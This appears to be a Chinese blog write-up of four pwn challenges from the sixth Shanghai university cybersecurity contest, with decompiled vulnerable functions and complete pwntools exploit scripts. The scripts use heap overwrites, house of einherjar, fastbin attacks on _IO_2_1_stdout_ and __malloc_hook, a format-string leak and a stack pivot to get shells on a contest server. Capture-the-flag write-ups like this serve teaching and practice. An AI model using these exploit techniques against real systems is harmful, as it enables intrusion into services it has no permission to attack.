第六届上海大学生网络安全大赛 Pwn WP

First Post:

Last Update:

Word Count:
4k

Read Time:
22 min

第六届上海大学生网络安全大赛

这次比赛干了一天,早餐只吃了点鸡蛋, 午饭没吃, 干完pwn后才去吃的饭,总之今天表现的还不错,pwn给over了,cpu-emulator还拿了三血。。。

比赛开始了半个小时后,我就直接看pwn去了,发现签到题还没做,与我组队的师傅们好像刚好去打线下赛去了,我的队伍第9,而咱们实验室的另一只队伍与第一并其,这次比赛只筛选一只队伍,我们队就去不了了,总之下次好好加油吧,冲进线下!!!

最终排名如下:

img

pwn1 [cpu_emulator]

这个题拿了三血,刚开始一直没找到漏洞点,不断的分析才知道有个功能堆偏移地址写入。

简单概述

程序pie没开,是一个指令模拟器,实现某些运算操作。输入时先开辟内存储存指令数据,但是没有堆相关的漏洞。

程序运行规则:

输入指令后,进入run函数进行运行,每次取出 dword的数据进行解析指令,以下解释是根据调试出来的,这个ida反编译有误,然而在执行sub_4009A8函数时是取出操作指令数据,也就是26~32位,ida反编译时没有相关的变量来储存这个操作指令,通过调试才发现的。然后就是取出3个被操作数了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
result = (unsigned int)nbytes >> 2;
if ( src_pos >= (unsigned int)result )
return result;
now_src = get_src();
if ( (unsigned int)sub_4009A8(now_src) ) // 获取操作指令, 26 ~ 32
{
v6 = sub_400971(now_src, 5, 21); // 21位后5bit
v7 = sub_400971(now_src, 5, 16); // 16位后5bit
v8 = sub_400971(now_src, 16, 0); // 0位后16bit
result = (unsigned __int64)off_401404;
switch ( (unsigned int)&savedregs )
{
case 1u:
return result;
case 4u:
result = dword_6020E0[v7];
if ( dword_6020E0[v6] == (_DWORD)result )
{
v4 = 4 * v8 + 4;
result = (unsigned int)(v4 + src_pos);
src_pos += v4;
}
return result;
case 8u:
dword_6020E0[v7] = dword_6020E0[v6] + v8;
continue;
case 9u:
dword_6020E0[v7] = dword_6020E0[v6] - v8;
break;
case 0xAu:
dword_6020E0[v7] = v8 > (signed int)dword_6020E0[v6];
break;
case 0xCu:
dword_6020E0[v7] = v8 & dword_6020E0[v6];
break;
case 0xDu:
dword_6020E0[v7] = v8 | dword_6020E0[v6];
break;
case 0xEu:
dword_6020E0[v7] = v8 ^ dword_6020E0[v6];
break;
case 0xFu:
dword_6020E0[v7] = v8 << 16;
break;
case 0x23u:
dword_6020E0[v7] = *(unsigned __int8 *)(qword_602168 + (signed int)(dword_6020E0[v6] + v8));
break;
case 0x2Bu:
*(_BYTE *)(qword_602168 + (signed int)(dword_6020E0[v6] + v8)) = dword_6020E0[v7];// vul
break;
default:
continue;
}

漏洞点在操作指令为0x2b的地方,而qword_602168储存的是堆buf的地址,从这里可以看到,通过v6与v8还有v7的配合可以实现向堆中写入单个字节的数据。

思路

通过以上漏洞修改, heap中tcache struct 0x68位置的地址为atoi函数的got地址,更具atoi与system函数的偏移爆破system函数地址,在调用atoi函数时传入’/bin/sh\x00’即可。

实现步骤:

先将dword_6020E0[0]来储存qword_602168中堆地址到tcache struct 0x68位置的偏移,采用9指令实现负数偏移,8指令来实现我们目标地址的分开但字节储存,也就是atoi函数的got地址,2b指令来实现单字节写入控制好被操作数即可一次写入。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.27'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "123.56.52.128"
server_port = 18236

# if local debug
LOCAL = 0
LIBC = 1


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad(sz, d):
sla('>>', '1')
sla(':', str(sz))
sa(':', d)

def run():
sla('>>', '2')

def q():
sla('>>', '3')

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
c = '''
mov rax, 1
syscall
'''
p = asm(c, arch = 'amd64')
p = p32(0xafffffff)

# dword_6020E0[v7] = dword_6020E0[v6] + v8;
# o * * *
#p = p32(0b00100000111110001000100010001000)


# qword_602168 -> heap chunk 2
# size 0x10011
libc = ELF('./libc.so.6')
li('libc_atoi : ' + hex(libc.sym['atoi']))
li('libc_system: ' + hex(libc.sym['system']))

'''
0x6020e0[0] = offset of heap
0x6020e0[1] = our target address
0x6020e0[2] = 0
'''
p = 'A' *0x60
ad(0x60, p)

# offset - 0x1e8
# 0x1009070: 0x0000000000000000 0x0000000001019270
# o * * *
p = p32(0b00100100000000000000000111101000) # 9 target offset

# set out addrs pointer to got
# atoi: 0x602058
# o * * *
p +=p32(0b00100000001000010000000001011000) # 9 0x58
p +=p32(0b00100000010000100000000000100000) # 9 0x20
p +=p32(0b00100000011000110000000001100000) # 9 0x60

# 16 bit point to our value
# o * * *
p +=p32(0b10101100000000010000000000000000) # 2b
p +=p32(0b10101100000000100000000000000001) # 2b
p +=p32(0b10101100000000110000000000000010) # 2b
p +=p32(0b10101100000001000000000000000011) # set as null

ad(len(p), p)
run()

# modify atoi as system
# system offset: 0x4f550
ad(0x60, '\x50\xf5')
db()
sl('/bin/sh\x00')



def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

for _ in range(256):
try:
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()
except:
continue

pwn2 [lgtwo]

概述.

一个典型的菜单堆题。这个题有点坑,pie没开,本来采用unlink打入堆指针数组的,发现got表不能写入。。。远程没法打unlink,操蛋。

程序没给libc,需要自己使用相关技巧来实现获取远程libc版本。

采用手法,故意unlink失败。

1
2
3
4
5
6
7
8
9
10
def exploit():
li('exploit...')
ad(0x458, 'A') # 0
ad(0x68, 'A') # 1
ad(0x68, 'A') # 2
ad(0x458, 'A') # 3

rm(0)
md(2, b'A' * 0x60 + p64(0x70 + 0x70 + 0x470) + b'\x70')
rm(3)

输出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[DEBUG] Received 0x1b2 bytes:
b"*** Error in `./pwn': double free or corruption (!prev): 0x00000000017a0550 ***\n"
b'======= Backtrace: =========\n'
b'/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f7eed9487f5]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f7eed95138a]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7eed95558c]\n'
b'./pwn[0x400a8c]\n'
b'./pwn[0x400cfa]\n'
b'/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7eed8f1840]\n'
b'./pwn[0x400739]\n'
b'======= Memory map: ========\n'
*** Error in `./pwn': double free or corruption (!prev): 0x00000000017a0550 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f7eed9487f5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8038a)[0x7f7eed95138a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f7eed95558c]
./pwn[0x400a8c]
./pwn[0x400cfa]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f7eed8f1840]
./pwn[0x400739]
======= Memory map: ========
[*] Got EOF while reading in interactive

可以得到__libc_start_main的地址了,在线libc searcher查询,即可获得libc版本。

查找到libc为: libc6_2.23-0ubuntu11.2_amd64

vul

在添加函数中,存在off by one漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
unsigned __int64 add()
{
bool v0; // al
unsigned int v1; // eax
int v3; // [rsp+10h] [rbp-30h]
int i; // [rsp+14h] [rbp-2Ch]
int v5; // [rsp+18h] [rbp-28h]
int v6; // [rsp+1Ch] [rbp-24h]
int v7; // [rsp+20h] [rbp-20h]
int v8; // [rsp+24h] [rbp-1Ch]
int v9; // [rsp+28h] [rbp-18h]
int v10; // [rsp+2Ch] [rbp-14h]
int v11; // [rsp+30h] [rbp-10h]
int v12; // [rsp+34h] [rbp-Ch]
unsigned __int64 v13; // [rsp+38h] [rbp-8h]

v13 = __readfsqword(0x28u);
for ( i = 0; i <= 15 && p_addr[i]; ++i )
;
if ( i == 16 )
{
puts("full!");
}
else
{
puts("size?");
_isoc99_scanf((__int64)"%d", (__int64)&v3);
if ( v3 >= 0 && v3 <= 4096 )
{
v5 = 100;
v6 = 200;
p_addr[i] = malloc(v3);
p_size[i] = v3;
puts("content?");
read(0, &unk_6021C0, 0x20uLL);
v7 = 1;
v8 = v5 + v6;
v9 = v6;
if ( v5 + v6 <= v5 )
v0 = v6 != 0;
else
v0 = v5 != 0;
if ( v0 )
{
v10 = v5;
v11 = v6;
v12 = v5;
}
else
{
v6 = 1;
}
v6 = v5;
v1 = p_size[i];
p_size[i] = v1 + 1; // vul
sub_400806(v1);
}
else
{
puts("invalid size");
}
}
return __readfsqword(0x28u) ^ v13;
}

思路

先释放0x71大小的chunk构造fastbin attack 链,采用house of einherjar实现堆重叠,将main_arena地址挤到0x71 fastbin fd地方,parital write修改fastbin fd为_IO_2_1_stderr_ + 157处,开辟0x71的内存到_IO_2_1_stdout_修改此结构体泄漏_IO_2_1_stderr_+192处的地址,计算得到libc基址。

再次使用fastbin attack 打入__malloc_hook - 0x23处,修改__realloc_hook为one_gadget,__malloc_hook为realloc,realloc来进行调整execve第二个参数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "123.56.52.128"
server_port = 45830

# if local debug
LOCAL = 0
LIBC = 1


#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad(sz, d):
sla('>>', '1')
sla('?', str(sz))
sa('?', d)

def rm(i):
sla('>>', '2')
sla('?', str(i))

def dp(i):
sla('>>', '3')
sla('?', str(i))

def md(i, d):
sla('>>', '4')
sla('?', str(i))
sa('?', d)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad(0x80, 'A') # 0
ad(0x68, 'A') # 1
ad(0x68, 'A') # 2
ad(0x88, 'A') # 3
ad(0x68, 'A') # 4

lib = ELF('./libc.so.6')
li('lib stdout + 157:' + hex(lib.sym['_IO_2_1_stderr_'] + 157))

rm(0)
p = b'A' * 0x60
p += p64(0x70 + 0x70 + 0x90)
p += b'\x90'
md(2, p)


rm(1)

rm(3) # house of einharjar

ad(0x80, 'A') # 0
rm(0)

ad(0xa0, 'A') #0

p = b'A' * 0x80
p += p64(0) + p64(0x71)
p += b'\xdd\x55'
md(0, p)

ad(0x68, 'B') # 1
ad(0x68, 'B') # 3

p = b'\x00' * 0x33 + p64(0xfbad3c80) + 3 * p64(0) + p8(0)
md(3, p)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['_IO_2_1_stderr_'] - 192
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))

rm(1)
p = b'A' * 0x80
p += p64(0) + p64(0x71)
p += p64(libc_base + libc.sym['__malloc_hook'] - 0x23)
md(0, p)

ad(0x68, 'A') # 1

ad(0x68, 'A') # 5

og = libc_base + 0x4527a
#og = libc_base + 0x3f42a
realloc = libc_base + libc.sym['realloc']
p = b'A' * (0x13 - 8)
p += p64(og)
p += p64(realloc + 4)
md(5, p)

sl('1')
sl('10')

def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

for _ in range(16):
try:
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()
except:
continue

pwn3 [EASY_ABNORMAL]

简要概述

这个题直接就是湘湖杯的原题,添加了个prctl函数,我还以为是沙箱,还得我一直构造rop,一直在构造orw,’./flag’字符串的传入一直困扰我,后面先试试one_gadget是否打通,想不到还真通了。。。

如何获取libc版本,和之前一样, 该提有个uaf漏洞,直接构造double free,泄漏__libc_start_main从而获得libc版本。

思路

字符串漏洞泄漏libc,在堆中构造one_gadget的rop,一下出现堆栈溢出,能够修改rbp寄存器的值,若覆盖改值,在c++抛出异常后就可实现堆栈迁移至堆中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 gift()
{
_QWORD *v0; // rax
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("INPUT:");
prctl(22, 2LL, &unk_202070);
if ( (signed int)read(0, &buf, 0x28uLL) > 16 )
{
v0 = (_QWORD *)_cxa_allocate_exception(8LL, &buf);
*v0 = "YOU ARE TOO YOUNG!";
_cxa_throw(v0, &`typeinfo for'char const*, 0LL);
}
return __readfsqword(0x28u) ^ v3;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
libc_path = './libc.so.6'
#libc_path = '/glibc/2.23/64/lib/libc.so.6'

# remote server ip and port
server_ip = "123.56.52.128"
server_port = 10012

# if local debug
LOCAL = 0
LIBC = 1

#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def sn():
sla(':', '1')

def ad(d):
sla(':', '2')
sla(':', d)

def rm(i):
sla(':', '3')
sla(':', str(i))

def dp():
sla(':', '4')

def gift(d):
sla(':', '23333')
sa(':', d)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
p = '%11$p'
sa(':', p)
sn()
ru('0x')
leak = int(r(12), 16)
#(__libc_start_main+240)
libc_base = leak - libc.sym['__libc_start_main'] - 240
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))
og = libc_base + 0x4527a

libc.address= libc_base
if(LOCAL):
pop_rdi = libc_base + 0x20e22
pop_rsi = libc_base + 0x20218
pop_rdx = libc_base + 0x01b92
pop6 = libc_base + 0x11633f
else:
pop_rdi = libc_base + 0x21112
pop_rsi = libc_base + 0x202f8
pop_rdx = libc_base + 0x01b92


p = p64(0) * 3
rop = flat([
og
])

p += rop
ad(p)
ad('./flag\x00')

rm(0)
rm(1)
dp()

ru('idx 2:')
leak = u64(ru('\n').ljust(8, b'\x00'))
heap = leak
li('leak: ' + hex(leak))
li('heap: ' + hex(heap))

p = b'A' * 0x20
p += p64(heap + 0x20)
p += b'A' * 0x9

db()
gift(p)


def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_PRELOAD" : libc_path} )
else:
io = elf.process()

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()

pwn4 [maj0rone]

概述

一个简单的堆体,没给libc,自己构造double free泄漏libc,libc版本还是与之前一样2.23的,该题添加了一点花指令,但不影响分析。

vul

在删除功能中存在指针没清零,造成uaf漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
   sub_400846((unsigned int)dword_603010, (unsigned int)(dword_60303C + 1), v1);
}
}
else
{
sub_400846((unsigned int)dword_603010, (unsigned int)(dword_60303C + 1), (unsigned int)dword_603040);
}
free(p_addr[v7]); // vullllll-----------
if ( dword_60303C / dword_603010 > 1 )
{
if ( dword_60303C % dword_603010 )
{
if ( dword_60303C % dword_603010 != dword_60303C / dword_603010 || dword_603040 )

思路

程序没有开启pie,但got没法修改,没毛用,也没打印函数,需要fastbin attack打入_IO_2_1_stdout_泄漏libc,再次fastbin attack打入__malloc_hook - 0x23处打one_gadget,修改__realloc_hook为one_gadget,修改__malloc_hook为realloc,调整realloc偏移来调整execve第二个参数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
# Env: Linux arch 5.8.14-arch1-1

from pwn import *
import os

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = 'pwn'
MODIFY_LD = 0
arch = '64'
libc_v = '2.23'

ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2'
libs_path = '/glibc/' + libc_v + '/' + arch + '/lib'
libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6'
libc_path = './libc.so.6'

# change ld path
if(MODIFY_LD):
os.system('cp ' + elf_path + ' ' + elf_path + '.bk')
change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path
os.system(change_ld_cmd)
li('modify ld ok!')
exit(0)

# remote server ip and port
server_ip = "123.56.52.128"
server_port = 18523

# if local debug
LOCAL = 0
LIBC = 1

#--------------------------func-----------------------------
def db ():
if(LOCAL):
gdb.attach(io)

def ad(sz, d):
sla('>>', '1')
sla('\n', '80')
sla('?', str(sz))
sla('?', str(d))

def rm(i):
sla('>>', '2')
sla('?', str(i))

def md(i, d):
sla('>>', '4')
sla('?', str(i))
sa('?', d)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
ad(0xd0, 'A') # 0
ad(0x68, 'A') # 1

rm(0)
ad(0x68, 'A') # 2
rm(1)
rm(2)

md(2, '\x70')

ad(0x30, 'A') # 3
md(3, '\xdd\x55')

# for alignment
ad(0x68, 'A') # 4
p = b'A' * 0x60
p += p64(0) + p64(0x71)
md(0, p)

ad(0x68, 'A') # 5

ad(0x68, 'B') # 6
p = b'\x00' * 0x33 + p64(0xfbad3c80) + 3 * p64(0) + p8(0)
md(6, p)

leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['_IO_2_1_stderr_'] - 192
li('leak: ' + hex(leak))
li('libc_base: ' + hex(libc_base))


rm(5)
md(5, p64(libc_base + libc.sym['__malloc_hook'] - 0x23))

ad(0x68, 'A') # 7

ad(0x68, 'A') # 8
og = libc_base + 0x4527a
#og = libc_base + 0x3f42a

realloc = libc_base + libc.sym['realloc']
p = b'A' * (0x13 - 8)
p += p64(og)
p += p64(realloc + 4)
md(8, p)

#db()
# get shell
sla('>>', '1')
sla('\n', '80')
sla('?', str(10))


def finish():
ia()
c()

#--------------------------main-----------------------------
if __name__ == '__main__':

for _ in range(16):
try:
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} )
else:
io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} )

else:
elf = ELF(elf_path)
io = remote(server_ip, server_port)
if LIBC:
libc = ELF(libc_path)

exploit()
finish()
except:
continue
打赏点小钱
支付宝 | Alipay
微信 | WeChat